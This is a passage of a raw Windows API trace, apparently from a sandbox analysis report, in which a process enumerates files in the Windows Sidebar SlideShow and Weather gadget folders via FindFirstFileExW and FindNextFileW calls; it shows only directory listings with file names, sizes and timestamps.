ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x805ee1db, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x805ee1db, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.162] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0245.162] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0245.163] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d5e5243, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x3d5e5243, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x3d5e5243, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xdf6, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_sidebar.png", cAlternateFileName="")) returned 1 [0245.214] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\in_sidebar\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0245.214] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x805ee1db, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x805ee1db, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.214] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d5e5243, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x3d5e5243, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x3d5e5243, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xdf6, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_sidebar.png", cAlternateFileName="")) returned 1 [0245.215] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\on_desktop\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0245.216] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0245.216] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x805ee1db, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x805ee1db, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.216] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0245.216] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0245.216] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d9e972d, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x3d9e972d, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x3d9e972d, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1589, dwReserved0=0x0, dwReserved1=0x0, cFileName="slideshow_glass_frame.png", cAlternateFileName="")) returned 1 [0245.216] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\on_desktop\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0245.216] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x805ee1db, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x805ee1db, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.216] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d9e972d, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x3d9e972d, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x3d9e972d, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1589, dwReserved0=0x0, dwReserved1=0x0, cFileName="slideshow_glass_frame.png", cAlternateFileName="")) returned 1 [0245.220] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0245.220] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x805ee1db, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x805ee1db, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.220] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85b43b7f, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x85b43b7f, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3d468497, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xd86, dwReserved0=0x0, dwReserved1=0x0, cFileName="blank.png", cAlternateFileName="")) returned 1 [0245.220] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0245.220] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eaffd21, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.220] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86bc72d2, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86bc72d2, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3d3f607d, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x7575, dwReserved0=0x0, dwReserved1=0x0, cFileName="drag.png", cAlternateFileName="")) returned 1 [0245.221] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0245.221] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0245.221] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eaffd21, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.221] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0245.221] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0245.221] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x876a3657, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x876a3657, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2a5f4919, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x3260, dwReserved0=0x0, dwReserved1=0x0, cFileName="drag.png", cAlternateFileName="")) returned 1 [0245.222] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0245.223] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0245.223] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22c02035, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.223] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0245.223] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0245.223] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22c02035, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="css", cAlternateFileName="")) returned 1 [0245.223] lstrcmpW (lpString1="css", lpString2=".") returned 1 [0245.223] lstrcmpW (lpString1="css", lpString2="..") returned 1 [0245.223] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\css\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0245.223] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0245.223] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22c02035, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.223] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0245.223] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0245.223] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="localizedSettings.css", cAlternateFileName="")) returned 1 [0245.225] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\css\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0245.225] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22c02035, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.225] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="localizedSettings.css", cAlternateFileName="")) returned 1 [0245.226] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\js\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0245.226] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0245.226] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22c02035, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.226] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0245.226] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0245.226] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x71c, dwReserved0=0x0, dwReserved1=0x0, cFileName="highDpiImageSwap.js", cAlternateFileName="")) returned 1 [0245.239] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\js\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0245.240] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22c02035, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.240] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x71c, dwReserved0=0x0, dwReserved1=0x0, cFileName="highDpiImageSwap.js", cAlternateFileName="")) returned 1 [0245.240] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0245.240] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22c02035, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.240] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22c02035, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="css", cAlternateFileName="")) returned 1 [0245.240] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x7c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="gadget.xml", cAlternateFileName="")) returned 1 [0245.240] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0245.243] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0245.243] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8052fafa, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8052fafa, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.244] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0245.244] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0245.244] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a640bd5, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x2a640bd5, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x2a640bd5, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1456, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.png", cAlternateFileName="")) returned 1 [0245.245] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\120DPI\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0245.247] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0245.247] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80555c5a, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80555c5a, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.247] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0245.247] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0245.247] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37179769, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x37179769, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x37179769, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x28c, dwReserved0=0x0, dwReserved1=0x0, cFileName="(120DPI)alertIcon.png", cAlternateFileName="")) returned 1 [0245.250] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\120DPI\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0245.250] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80555c5a, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80555c5a, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.250] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37179769, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x37179769, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x37179769, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x28c, dwReserved0=0x0, dwReserved1=0x0, cFileName="(120DPI)alertIcon.png", cAlternateFileName="")) returned 1 [0245.252] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\144DPI\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0245.254] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0245.254] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80555c5a, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80555c5a, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.254] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0245.254] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0245.254] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x371ebb83, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x371ebb83, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x37211ce1, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x3e1, dwReserved0=0x0, dwReserved1=0x0, cFileName="(144DPI)alertIcon.png", cAlternateFileName="")) returned 1 [0245.256] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\144DPI\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0245.257] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80555c5a, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80555c5a, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.257] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x20, 